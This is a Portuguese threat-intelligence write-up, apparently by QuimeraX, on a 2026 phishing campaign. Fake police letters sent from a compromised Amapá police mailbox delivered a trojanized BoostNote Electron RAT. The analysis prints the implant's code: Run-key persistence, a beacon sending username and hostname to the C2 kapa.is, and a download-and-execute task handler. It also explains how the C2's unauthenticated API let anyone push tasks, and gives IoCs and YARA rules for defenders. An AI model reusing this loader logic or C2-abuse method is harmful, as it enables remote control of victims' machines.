BoostNote trojanizado: anatomia do RAT que abriu a porta na campanha de ofícios falsos

Em 17 de fevereiro de 2026, funcionários de instituições financeiras brasileiras receberam um ofício da Polícia Civil do Amapá pedindo dados cadastrais. O e-mail saiu de um endereço real, [email protected], com PDF anexo, número de protocolo, citação de artigos da Constituição e assinatura eletrônica. Dois dias depois, clientes da Woovi acordaram com saldo a menos.

Este texto descreve a amostra analisada em 21 de fevereiro de 2026: o e-mail, o instalador, o app Electron e o C2. A equipe de CTI do QuimeraX fechou o relatório nessa data e entregou aos clientes no mesmo dia. Publicamos agora para que outras empresas e pesquisadores possam reconhecer a ameaça e caçar os artefatos. O recorte da operação ao longo de 2026 está no post sobre o Shadow Ledger.

As seis etapas da infecção

1. E-mail de phishing enviado pelos servidores comprometidos da Polícia Civil do Amapá ([email protected]).
2. PDF com overlay de "Conteúdo Encriptado" e um botão de "Instalar Certificado Digital".
3. O clique levava a hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br, onde ficava o instalador.
4. Instalador Inno Setup com criptografia ChaCha20, que instalava um app Electron trojanizado.
5. O app, disfarçado de "BoostNote-local", fazia beacon periódico para um C2 próprio.
6. O C2 devolvia payloads arbitrários para execução na máquina da vítima.

O clique funciona porque o remetente é uma conta oficial da Polícia Civil, já comprometida.

O e-mail saiu do servidor da Polícia Civil

O ator comprometeu os servidores de e-mail da Polícia Civil do Estado do Amapá e usou a infraestrutura legítima para disparar o phishing.

O corpo se apresenta como ofício da 3ª Delegacia de Combate à Corrupção e ao Crime Organizado (DECCON):

GOVERNO DO ESTADO DO AMAPÁ
SECRETARIA DE DEFESA SOCIAL
POLÍCIA CIVIL DO AMAPÁ
3ª DELEGACIA DE COMBATE À CORRUPÇÃO E AO CRIME
ORGANIZADO
Macapá, Amapá 17 de fevereiro de 2026
Ofício nº 540222/2026
Ref. IP nº 2026.0541.000018-33

CAIXA ECONOMICA FEDERAL            <- NOME DO ALVO
DOCUMENTO 00.360.305/0001-04       <- CNPJ DO ALVO

A POLÍCIA CIVIL DO ESTADO DO AMAPÁ, PELA AUTORIDADE POLICIAL
SUBSCRITORA, COM FULCRO NO ARTIGO 144, § 4º DA CONSTITUIÇÃO
FEDERAL, ARTIGO 103 DA CONSTITUIÇÃO ESTADUAL, ARTIGO 4º E
SEGUINTES DO CÓDIGO DE PROCESSO PENAL, ARTIGO 1º, PARÁGRAFO
ÚNICO DA LEI 9296/96 E ART. 10,§ 3º COMBINADO COM A LEI Nº 12.830/2013,
VEM POR INTERMÉDIO DESTE, REQUISITAR OS DADOS CADASTRAIS

Atenciosamente,
POLÍCIA CIVIL DO ESTADO DO AMAPÁ
Delegacia Policial

Documento assinado eletronicamente pelo Departamento Policial, Mat. 399.750-2
em 17/02/2026, às 11:38.
A autenticidade deste documento pode ser conferida no site pelo qr code
informando o código do protocolo: 540222.

AVENIDA AMAPÁ, 808 MACA

O ofício copia formatação oficial, cita artigos e leis que existem, coloca o CNPJ da Caixa Econômica Federal (00.360.305/0001-04) como destinatário e fecha com protocolo, assinatura eletrônica (matrícula 399.750-2) e endereço parcial da delegacia em Macapá. Quem recebe ofício com frequência tem pouco motivo para desconfiar.

O mesmo ofício com o CNPJ trocado

O ator reutilizava o mesmo texto, trocando só o nome e o CNPJ da instituição, e mantinha o número do ofício e a referência de inquérito. A variante da Crefisa, por exemplo:

Macapá, Amapá 19 de fevereiro de 2026
Ofício nº 540222/2026
Ref. IP nº 2026.0541.000018-33

CREFISA S/A - CRÉDITO FINANCIAMENTO E INVEST.
DOCUMENTO 60.779.196/0001-96

A POLÍCIA CIVIL DO ESTADO DO AMAPÁ, PELA AUTORIDADE POLICIAL
SUBSCRITORA [...] REQUISITAR OS DADOS CADASTRAIS.

Empresas-alvo identificadas na análise:

Entre as variantes se repetem o ofício 540222/2026 e a referência de inquérito. As datas caem entre 17 e 19 de fevereiro de 2026; muda o destinatário. O volume sugere centenas de e-mails a funcionários de várias instituições no mesmo período.

O PDF e o overlay do certificado

O documento oficial fica ao fundo, visível, e um overlay semitransparente no centro da tela diz que o conteúdo está encriptado e oferece o botão de instalar o certificado.

O clique manda a vítima para:

hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br

O download sai do IP 79.110.49.32, no caminho .certificados.ap.gov.br, o que na barra de endereços parece um domínio do governo.

O binário foi visto em vários lugares diferentes lugares:

• hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br, a URL primária que o PDF abria.
• hxxps://cmdca[.]go[.]gov[.]br/download/Certificado_PCAP.exe, em um gov.br comprometido que continuava servindo o arquivo na data do relatório.
• hxxps://infinitepay-cc0ba0482579[.]intercom-attachments-5[.]com/[...], abusando do CDN de anexos do Intercom da InfinitePay.

O domínio cmdca.go.gov.br é do Conselho Municipal dos Direitos da Criança e do Adolescente, em Goiás. Em fevereiro de 2026 ele ainda entregava o malware, o que indica comprometimento de infraestrutura pública além da Polícia Civil do Amapá.

Stage 0: o instalador Inno Setup

É um instalador Inno Setup 6.7.0 compilado em Delphi. Ele se apresenta como certificado, roda a instalação em silêncio, cria o diretório ProSoftionTechMax para parecer produto instalado e grava o payload em:

%LOCALAPPDATA%\ProSoftionTechMax\boost.exe

A criptografia do Inno Setup 6.7.0 usa XChaCha20, a variante com nonce de 24 bytes, com chave derivada internamente pelo setup. Isso impede a extração estática do payload.

Execução em sandbox

A execução dinâmica mostrou o seguinte fluxo:

• O instalador Inno Setup cria um .tmp intermediário antes de extrair o boost.exe.
• O boost.exe, que é o Electron, começa a falar com a rede imediatamente.
• Várias instâncias de boost.exe são normais, porque o Chromium separa main, renderer e GPU em processos.
• O comppkgsrv.exe que aparece na árvore é processo legítimo do Windows, chamado pelo sistema para componentes COM.

Stage 2: o BoostNote trojanizado

O index.js.bin é o main process do app. No começo do arquivo está o implante, um RAT com função de loader. Em seguida vem o webpack bundle original do BoostNote-local.

O implante usa ofuscação de nomes. O mapeamento da análise:

Persistência

O implante se registra na inicialização do Windows pela API do Electron:

app.setLoginItemSettings({
  openAtLogin: true,       // Inicia automaticamente no login do Windows
  openAsHidden: false,     // Janela visível (parece app normal)
  path: app.getPath('exe'),// Caminho do boost.exe
  args: []
});

Na prática, isso escreve a chave:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"BoostNote-local" = "%LOCALAPPDATA%\ProSoftionTechMax\boost.exe"

Com openAsHidden: false a janela abre no login, então o processo se comporta como um aplicativo de notas.

ID da vítima

function getVictimId() {
  const idPath = process.env.APPDATA + '\\id.txt';
  if (fs.existsSync(idPath)) {
    return fs.readFileSync(idPath, 'utf8').trim();
  }
  const id = Math.random().toString(36).slice(2, 10);
  // Math.random() → 0.7289432156
  // .toString(36)  → "0.q3f9a2bxk7" (base36: 0-9 + a-z)
  // .slice(2, 10)  → "q3f9a2bx" (8 caracteres)
  fs.writeFileSync(idPath, id);
  return id;
}

O identificador fica em %APPDATA%\id.txt, tem 8 caracteres alfanuméricos, é gerado uma única vez e reaproveitado em todos os beacons. O gerador é Math.random(), um PRNG não criptográfico. Essa geração se manteve nas ondas seguintes, inclusive quando o host Electron deixou de ser o BoostNote.

Loop de beacon

async function mainLoop() {
  while (true) {
    await beacon();
    await sleep(120000); // 2 minutos
  }
}

O loop pergunta ao C2 a cada 120 segundos enquanto o processo Electron estiver rodando.

O beacon

async function beacon() {
  const response = await customFetch('kapa.is/f/e/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify([
      getVictimId(),             // "q3f9a2bx"
      process.env.COMPUTERNAME,  // "DESKTOP-ABC123"
      process.env.USERNAME       // "joao.silva"
    ])
  });
  const data = await response.json();
  if (data.task) {
    executeTask(data.task);
  }
}

POST https://kapa.is/f/e/
Content-Type: application/json
Body: ["q3f9a2bx", "DESKTOP-ABC123", "joao.silva"]

HTTP 200 OK
Sem task: {}
Com task: {
  "task": {
    "files": {
      "payload.exe": "<base64-encoded-PE>"
    }
  }
}

O cliente usa rejectUnauthorized: false e aceita qualquer certificado TLS. Os erros caem em catch(e){ console.log(e) }. Não há User-Agent customizado: o tráfego sai com o default do Node.js, a partir de um processo que se apresenta como app de notas.

Execução das tasks

function executeTask(task) {
  const taskDir = process.env.TEMP + '\\' + Date.now();
  // Ex: C:\Users\victim\AppData\Local\Temp\1708454821000\

  fs.mkdirSync(taskDir, { recursive: true });

  for (const [filename, base64Content] of Object.entries(task.files)) {
    const filePath = taskDir + '\\' + filename;
    // Cria subdiretórios se necessário
    fs.mkdirSync(dirname(filePath), { recursive: true });
    // Decodifica base64 → escreve no disco
    fs.writeFileSync(filePath, Buffer.from(base64Content, 'base64'));
    // Marca primeiro .exe como payload principal
    if (filename.endsWith('.exe')) exePath = filePath;
  }

  // EXECUTA O PAYLOAD
  if (exePath) {
    require('child_process').exec(`"${exePath}"`, { cwd: taskDir });
  }
}

O C2 grava qualquer arquivo e executa qualquer .exe sem validar nome, conteúdo ou pasta. O exec() não espera resultado nem captura saída.

O BoostNote que a vítima vê

O resto do arquivo é o bundle minificado do BoostNote-local, um app open source de notas.

O BrowserWindow do app original já vinha com configuração insegura:

webPreferences: {
  nodeIntegration: true,    // Permite require() no renderer
  contextIsolation: false,  // Sem sandbox/isolamento
  webviewTag: true,         // Permite <webview>
  enableRemoteModule: true, // Acesso total ao main process
}

O BoostNote-local continua usável: auto-updater do electron-updater a cada 24 horas, menu, single instance lock, protocolo boostnote:// e assets em ./compiled/app/static/.

Stage 3: o payload Go do "benfeitor anônimo"

Uma das tasks do C2 veio de fora da campanha. A leitura da equipe é que um profissional de segurança encontrou as mesmas falhas de Broken Access Control, publicou uma task própria e avisou as vítimas na tela da máquina infectada. Sem autenticação efetiva no C2, qualquer pessoa com o endpoint conseguia publicar tarefas para os hosts infectados.

O binário está ofuscado com garble, que remove nomes de função, caminhos de fonte e informação de debug. Mesmo assim, o Go preserva nomes na pclntab (Program Counter Line Table) para gerar stack trace em runtime, e foi por ali que a análise recuperou o mapa.

Funções-chave resolvidas: main.main em 0x618E00 e runtime.main em 0x43E4C0.

A estrutura PE, com ImageBase 0x400000:

Os imports são só 46 funções de kernel32.dll, comportamento normal de Go, que linka a stdlib estaticamente:

AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA,
CreateIoCompletionPort, CreateThread, CreateWaitableTimerExW,
DuplicateHandle, ExitProcess, GetConsoleMode, GetCurrentThreadId,
GetEnvironmentStringsW, GetProcAddress, GetProcessAffinityMask,
GetQueuedCompletionStatusEx, GetStdHandle, GetSystemDirectoryA,
GetSystemInfo, GetSystemTimeAsFileTime, GetTempPathW, GetThreadContext,
LoadLibraryA, LoadLibraryW, PostQueuedCompletionStatus, ReadConsoleW,
ReadFile, ResumeThread, SetConsoleCtrlHandler, SetCurrentDirectoryA,
SetEnvironmentVariableW, SetEvent, SetProcessPriorityBoost,
SetThreadContext, SetUnhandledExceptionFilter, SetWaitableTimer,
SuspendThread, SwitchToThread, TlsAlloc, VirtualAlloc, VirtualFree,
VirtualQuery, WaitForSingleObject, WriteConsoleW, WriteFile

O binário chama MessageBoxW com título "ALERTA" e uma mensagem em português avisando a vítima do comprometimento, assinada por um "benfeitor anônimo".

Há também um webhook em https://webhook.site/39ac1648-c5d0-4ba9-8658-13754c0c62a1. No contexto dessa intervenção, o canal provavelmente registra quais vítimas receberam o alerta.

Em IR o hash, o canal e o %TEMP% coincidem com o resto da infecção. O autor deste binário foi quem publicou o alerta.

O C2 em kapa.is

O protocolo é o mesmo que o implante usa, visto do lado do servidor:

POST /f/e/ HTTP/1.1
Host: kapa.is
Content-Type: application/json

["<victim_id>", "<COMPUTERNAME>", "<USERNAME>"]

Sem tarefa pendente, a resposta é {}. Com tarefa:

{
  "task": {
    "files": {
      "filename.exe": "<base64-encoded-binary>",
      "config.dat": "<base64-encoded-data>"
    }
  }
}

A administração é feita por uma interface web, com tela de login pedindo usuário e senha.

A interface pedia login, mas os endpoints da API aceitavam requisição sem autenticação:

Com uma alteração simples no conteúdo da página pelo DevTools, era possível agir pela própria interface, inclusive enviar uma task para execução nas máquinas das vítimas.

Os endpoints de API respondiam direto:

https://kapa.is/f/api.php?action=clients   lista os computadores comprometidos
https://kapa.is/f/api.php?action=tasks     lista as tarefas enviadas para execução

O C2 foi escrito de forma ad-hoc. Quem conhecia o endpoint listava as vítimas ativas e publicava tasks nos hosts infectados. Foi assim que o payload Go chegou às máquinas.

O mesmo loader em campanhas seguintes

Nas ondas depois de fevereiro o grupo trocou a URL do C2 e a pasta em %LOCALAPPDATA%. O instalador Inno Setup, a geração do %APPDATA%\id.txt, o beacon e a execução de tasks continuaram iguais.

O operador troca o index.js do .asar e reaproveita o runtime Electron. Em campanhas recentes isso apareceu com Draw.io Desktop (draw.io.exe em %LOCALAPPDATA%\EasySuiteAutoTool\) e com GitHub Desktop, então o processo herda o nome de um aplicativo que o usuário já conhece e o beacon segue o mesmo formato.

kapa.is, ProSoftionTechMax e boost.exe valem para a onda de fevereiro. Nas seguintes, o que se repete é host Electron fora do caminho oficial, id.txt em %APPDATA%, index.js ofuscado no .asar e POST periódico com identificador, COMPUTERNAME e USERNAME.

O post sobre o Shadow Ledger descreve essa rotação ao longo de 2026 e como caçar o comportamento que sobrevive à troca de hash.

Indicadores de comprometimento

Stage 0, Certificado_PCAP.exe:

Stage 2, index.js.bin (RAT Electron):

Stage 3, file.bin (payload Go da intervenção de terceiro):

Rede:

TTPs no MITRE ATT&CK

Detecção

Os IoCs abaixo identificam a onda de fevereiro. Para as seguintes, a regra precisa bater no implante: id.txt em %APPDATA%, persistência via setLoginItemSettings ou chave Run, rejectUnauthorized: false, child_process e Buffer.from no index.js do .asar, e beacon HTTPS com identificador, COMPUTERNAME e USERNAME.

Pontos observados nesta amostra e nas seguintes:

• %APPDATA%\id.txt com 8 caracteres alfanuméricos.
• Host Electron em pasta inventada sob %LOCALAPPDATA% (ProSoftionTechMax, EasySuiteAutoTool e equivalentes).
• Processo com nome de app conhecido (BoostNote, Draw.io, GitHub Desktop) fora do caminho de instalação oficial.
• Chave Run apontando para esse executável.
• POST periódico para um C2 que muda a cada onda.

As regras YARA desta seção cobrem a amostra de fevereiro e pedaços do implante que sobreviveram à troca de host. Trate-as como ponto de partida. O hunting da família, com a rotação de C2 e de pasta, está no post sobre o Shadow Ledger.

Regras YARA

rule Woovi_BoostNote_RAT {
    meta:
        description = "Detects Trojanized BoostNote Electron app"
        author = "QuimeraX - Threat Intelligence Team"
        date = "2026-02"
        severity = "critical"

    strings:
        $c2_url = "kapa.is/f/e/" ascii
        $victim_id = "id.txt" ascii
        $beacon_data = "COMPUTERNAME" ascii
        $exec_task = "child_process" ascii
        $boost = "BoostNote-local" ascii
        $persistence = "openAtLogin" ascii
        $b64_decode = "Buffer.from" ascii
        $tls_bypass = "rejectUnauthorized" ascii

    condition:
        $c2_url or ($boost and $persistence and $exec_task) or
        (4 of ($victim_id, $beacon_data, $exec_task, $b64_decode, $tls_bypass))
}

rule Woovi_Stage0_InnoLoader {
    meta:
        description = "Detects Stage 0 Inno Setup loader used in Woovi/banking trojan campaign"
        author = "QuimeraX - Threat Intelligence Team"
        date = "2026-02"
        severity = "high"
        hash = "dd1e7fd35306a22f511197716c7e9fe2c1ba149ffd275a5221c4452165a4b29d"
        reference = "Brazilian trojan targeting Woovi, Cielo, Crefisa, CAIXA"

    strings:
        $inno_magic = "rDlPtS" ascii
        $inno_ver = "Inno Setup Setup Data (6.7.0)" ascii
        $inno_msg = "Inno Setup Messages (6.5.0) (u)" ascii
        $inno_manifest = "JR.Inno.Setup" ascii

        $delphi = "Embarcadero Delphi for Win32 compiler version 36.0" ascii
        $cert_signer = "MAYDA PETROL OTOMOTIV INSAAT LIMITED SIRKETI" ascii
        $tsetup_hdr = "TSetupHeader" ascii
        $tsetup_opts = "TSetupHeaderOptions" ascii

    condition:
        uint16(0) == 0x5A4D and                     // PE file
        filesize > 50MB and filesize < 100MB and    // Stage 0 is ~71.7 MB
        $inno_magic and
        (
            $cert_signer or                         // Strongest single indicator
            ($inno_ver and $delphi) or              // Exact Inno+Delphi combo
            (3 of ($inno_*, $tsetup_*, $delphi))    // 3+ framework strings
        )
}

Conclusão

O implante desta amostra tem 11 KB e, a cada dois minutos, pergunta ao C2 se há tarefa, grava o retorno em %TEMP% e executa. A conta da Polícia Civil dá autoridade ao ofício; com a sessão na mão, o operador chegou aos sistemas internos em poucas horas.

Nas ondas seguintes o grupo mudou a URL do C2, a pasta no AppData e o aplicativo Electron (Draw.io Desktop e GitHub Desktop entre eles). A geração do id.txt, o instalador e o formato do beacon permaneceram.

A esteira da operação ao longo de 2026 está no post sobre o Shadow Ledger.

Quer o time do QuimeraX acompanhando ameaças que podem afetar sua empresa? Solicite uma demonstração e veja o QuimeraX em ação na sua empresa: https://quimerax.com